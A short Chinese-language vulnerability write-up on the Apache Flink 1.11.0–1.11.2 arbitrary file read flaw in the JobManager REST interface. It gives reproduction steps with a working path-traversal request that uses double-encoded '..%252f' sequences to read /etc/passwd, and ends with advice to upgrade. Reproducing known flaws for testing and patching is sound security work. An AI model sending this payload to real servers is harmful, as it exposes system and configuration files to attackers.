漏洞描述:
Apache Flink 是一个框架和分布式处理引擎,用于在无边界和有边界数据流上进行有状态的计算。Flink 能在所有常见集群环境中运行,并能以内存速度和任意规模进行计算。
Apache Flink 功能强大,支持开发和运行多种不同种类的应用程序。它的主要特性包括:批流一体化、精密的状态管理、事件时间支持以及精确一次的状态一致性保障等。Flink不仅可以运行在包括YARN、Mesos、Kubernetes在内的多种资源管理框架上,还支持在裸机集群上独立部署。在启用高可用选项的情况下,它不存在单点失效问题。事实证明,Flink已经可以扩展到数千核心,其状态可以达到TB级别,且仍能保持高吞吐、低延迟的特性。世界各地有很多要求严苛的流处理应用都运行在 Flink 之上。
Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.通过burp抓包,修改get请求,读取/etc/passwd
/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
3.也可直接在页面操作
http://ip:portjobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
借此漏洞,可以访问攻击者想要的敏感数据,包括配置文件、日志、源代码等信息,更加方便攻击者对网站进行渗透。
修复建议:
1.升级版本。